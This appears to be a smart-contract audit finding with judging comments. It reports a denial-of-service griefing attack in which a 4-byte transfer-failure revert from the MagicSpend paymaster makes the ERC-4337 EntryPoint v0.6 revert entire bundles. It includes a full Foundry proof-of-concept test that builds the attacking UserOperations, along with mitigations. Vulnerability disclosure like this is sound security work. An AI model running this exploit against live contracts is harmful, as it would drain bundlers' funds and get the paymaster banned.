MagicSpend error length can cause DOS by reverting entire bundle transactions and reputation damage when transfer fails due to low balance

[c4-bot-7]

Lines of code

https://github.com/eth-infinitism/account-abstraction/blob/abff2aca61a8f0934e533d0d352978055fddbd96/contracts/core/EntryPoint.sol#L69 https://github.com/Vectorized/solady/blob/ec85d4a731c5f69aaa9a324d673f92dac0c29593/src/utils/SafeTransferLib.sol#L105-L112

Vulnerability details

Impact

The EntryPoint contract version (encoded in contract bytecode) reverts entire EntryPoint.handleOps() bundles if an EntryPoint.innerHandleOp() call reverts and returns an error of less than 32 bytes in length. This is due to EntryPoint version v0.6 attempting to mload a full word from the revert's return data, which renders it unable to process reverts less than the full word.

To take advantage of this, MEV bots watching the balance of MagicSpend can submit WithdrawRequests at a moment where they are able to target the right amount of balance depletion to trigger the only error returning such a revert length within MagicSpend.validatePaymasterUserOp()- the Solady SafeTransferLib.ETHTransferFailed() error (solely 4 byte error selector).

Despite directly draining bundler balance and MagicSpend paymaster reputation, this issue is marked "medium" since its balance will presumably generally be kept high enough to block all but the most formidable of whales. It is also presumably unlikely that the MagicSpend owner would sign a flash loan WithdrawRequest and such reverts should be easy to filter out at simulation.

Proof of Concept

The following test file is designed for integration with the audit repository by being placed in a new "PoC" or other name dir within 2024-03-coinbase/test/SmartWallet/ and then run to observe the ability to deterministically grief attack by overloading insufficient prefund. This type of payload can be used by a malicious bundler or to target a bundler and expend their balance as well as reputation-ban the MagicSend paymaster.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test, console2} from "forge-std/Test.sol";
import {SignatureCheckerLib} from "solady/utils/SignatureCheckerLib.sol";
import {UserOperation, UserOperationLib} from "account-abstraction/interfaces/UserOperation.sol";
import {IStakeManager} from "account-abstraction/interfaces/IStakeManager.sol";
import {calldataKeccak} from "account-abstraction/core/Helpers.sol";
import {MockEntryPoint} from "../mocks/MockEntryPoint.sol";
import "test/MagicSpend/PaymasterMagicSpendBase.sol";
import "../CoinbaseSmartWallet/SmartWalletTestBase.sol";

contract PoC is Test {
    /// forge-config: default.fuzz.runs = 10_000_000

    // dummy event for lazy selector encoding
    event UserOperationEvent(bytes32 indexed userOpHash, address indexed sender, address indexed paymaster, uint256 nonce, bool success, uint256 actualGasCost, uint256 actualGasUsed);

    uint256 msOwnerPrivateKey = 0xdeadbeef;
    address msOwner = vm.addr(msOwnerPrivateKey);
    MagicSpend magicSpend = new MagicSpend(msOwner);
    CoinbaseSmartWallet account = new MockCoinbaseSmartWallet();
    CoinbaseSmartWallet validUserAccount = new MockCoinbaseSmartWallet();
    IEntryPoint entryPoint = IEntryPoint(0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789);

    // userop signature params
    uint256 signerPrivateKey = 0xa11ce;
    address signer = vm.addr(signerPrivateKey);
    uint256 validUserPrivateKey = 0xbeef;
    address validUser = vm.addr(validUserPrivateKey);
    address bundler = vm.addr(0xc0ffeebabe);

    // userop
    uint256 callGasLimit = 49152;
    uint256 verificationGasLimit = 378989;
    uint256 preVerificationGas = 273196043;
    uint256 maxFeePerGas = 1000304;
    uint256 maxPriorityFeePerGas = 1000000;

    // withdraw signature params
    address withdrawer = address(0xb0b);
    address asset = address(0x0);
    uint256 amount = 1 ether;
    uint256 maxCost = amount - 10;
    uint256 nonce = 0;
    uint48 expiry = uint48(block.timestamp + 1);

    // to be populated per test
    bytes initCode;
    bytes userOpCalldata;
    bytes paymasterAndData;
    bytes signerSig;
    bytes msOwnerSig;
    bytes[] owners;
    CoinbaseSmartWallet.Call[] calls;

    // baseline storage structs for convenience (update members as needed)
    UserOperation userOp = UserOperation({
        sender: address(account),
        nonce: nonce,
        initCode: initCode,
        callData: userOpCalldata,
        callGasLimit: callGasLimit,
        verificationGasLimit: verificationGasLimit,
        preVerificationGas: preVerificationGas,
        maxFeePerGas: maxFeePerGas,
        maxPriorityFeePerGas: maxPriorityFeePerGas,
        paymasterAndData: paymasterAndData,
        signature: signerSig // empty; must be populated per test
    });

    MagicSpend.WithdrawRequest withdrawRequest = MagicSpend.WithdrawRequest({
        asset: asset,
        amount: amount,
        nonce: nonce,
        expiry: expiry,
        signature: msOwnerSig // empty; must be populated per test
    });

    function setUp() public virtual {
        vm.etch(0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789, Static.ENTRY_POINT_BYTES);

        vm.deal(address(account), 1 ether);
        vm.deal(address(validUserAccount), 2 ether);
    }

function test_magicSpendRevertReasonUnder32Bytes() public {
        _initializeSmartWallet(signer, account);
        _initializeSmartWallet(validUser, validUserAccount);

        vm.deal(address(magicSpend), 2 ether);
        // fund entrypoint as magicSpend contract (this amount is depleted for the 2nd call)
        vm.prank(address(magicSpend));
        (bool success,) = address(entryPoint).call{value: 1 ether}("");
        assert(success);

        // populate withdrawRequest fields
        MagicSpend.WithdrawRequest memory request = withdrawRequest;
        bytes32 retReqHash = magicSpend.getHash(address(validUserAccount), request);
        (uint8 vMs, bytes32 rMs, bytes32 sMs) = vm.sign(msOwnerPrivateKey, retReqHash);
        msOwnerSig = abi.encodePacked(rMs, sMs, vMs);
        request.signature = msOwnerSig;

        // populate valid userOp fields
        (UserOperation memory validOp,) = _getValidUserOpSigned(abi.encodePacked(address(magicSpend), abi.encode(request)));

        // populate request2 & reverting userOp fields
        MagicSpend.WithdrawRequest memory request2 = withdrawRequest;
        request2.amount = amount - 1;
        bytes32 retReqHash2 = magicSpend.getHash(address(account), request2);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(msOwnerPrivateKey, retReqHash2);
        request2.signature = abi.encodePacked(r, s, v);

        UserOperation memory revertOp = userOp;
        revertOp.paymasterAndData = abi.encodePacked(address(magicSpend), abi.encode(request2));
        bytes memory dummyCalldata = abi.encodeWithSignature("SIG_VALIDATION_FAILED()");
        revertOp.callData = abi.encodeWithSelector(account.execute.selector, address(entryPoint), 0, dummyCalldata);        

        bytes32 revertOpHash = entryPoint.getUserOpHash(revertOp);
        (uint8 vSigner, bytes32 rSigner, bytes32 sSigner) = vm.sign(signerPrivateKey, revertOpHash);
        signerSig = abi.encodePacked(rSigner, sSigner, vSigner);
        revertOp.signature = abi.encode(CoinbaseSmartWallet.SignatureWrapper(0, signerSig));

        UserOperation[] memory ops = new UserOperation[](2);
        ops[0] = validOp; // depletes magicSpend balance
        ops[1] = revertOp;

        vm.prank(bundler);
        // expect revert of entire bundle due to grief attack via failure to `mload` revert bytes of length < 32
        vm.expectRevert(); // `Solady.SafeTransferLib.ETHTransferFailed()` => `OutOfOffset` => `EvmError`
        entryPoint.handleOps(ops, payable(bundler));

        console2.logString("entire bundle griefed");
    }

function _initializeSmartWallet(address owner, CoinbaseSmartWallet target) internal {
        delete owners;
        owners.push(abi.encode(owner));
        target.initialize(owners);
    }

    function _getValidUserOpSigned(bytes memory _paymasterAndData) internal view returns (UserOperation memory validOp, bytes32 retOpHash) {
        // populate valid userOp fields using storage struct
        validOp = userOp;
        validOp.sender = address(validUserAccount);
        validOp.paymasterAndData = _paymasterAndData;

        // populate valid userOp signature
        retOpHash = entryPoint.getUserOpHash(validOp);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(validUserPrivateKey, retOpHash);
        bytes memory sig = abi.encodePacked(r, s, v);
        validOp.signature = abi.encode(CoinbaseSmartWallet.SignatureWrapper(0, sig));
    }

Tools Used

Manual review

Recommended Mitigation Steps

Either:

1. alter || override the Solady error invocation with one using a parameter pushing the revert return data over 32 bytes, or
2. upgrade the protocol by changing entryPoint() to the v0.7 EntryPoint contract version, which addresses this issue by adding a check for revert returndatasize()

Further reading:

https://github.com/pimlicolabs/erc20-paymaster/pull/2#issuecomment-1522235565

Assessed type

DoS

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #131

[raymondfam]

See #131.

[c4-judge]

3docSec marked the issue as unsatisfactory: Out of scope